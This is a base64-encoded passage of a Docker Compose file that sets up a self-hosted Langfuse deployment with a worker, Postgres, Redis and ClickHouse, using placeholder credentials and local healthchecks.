Q0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOmxhdGVzdCcKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwa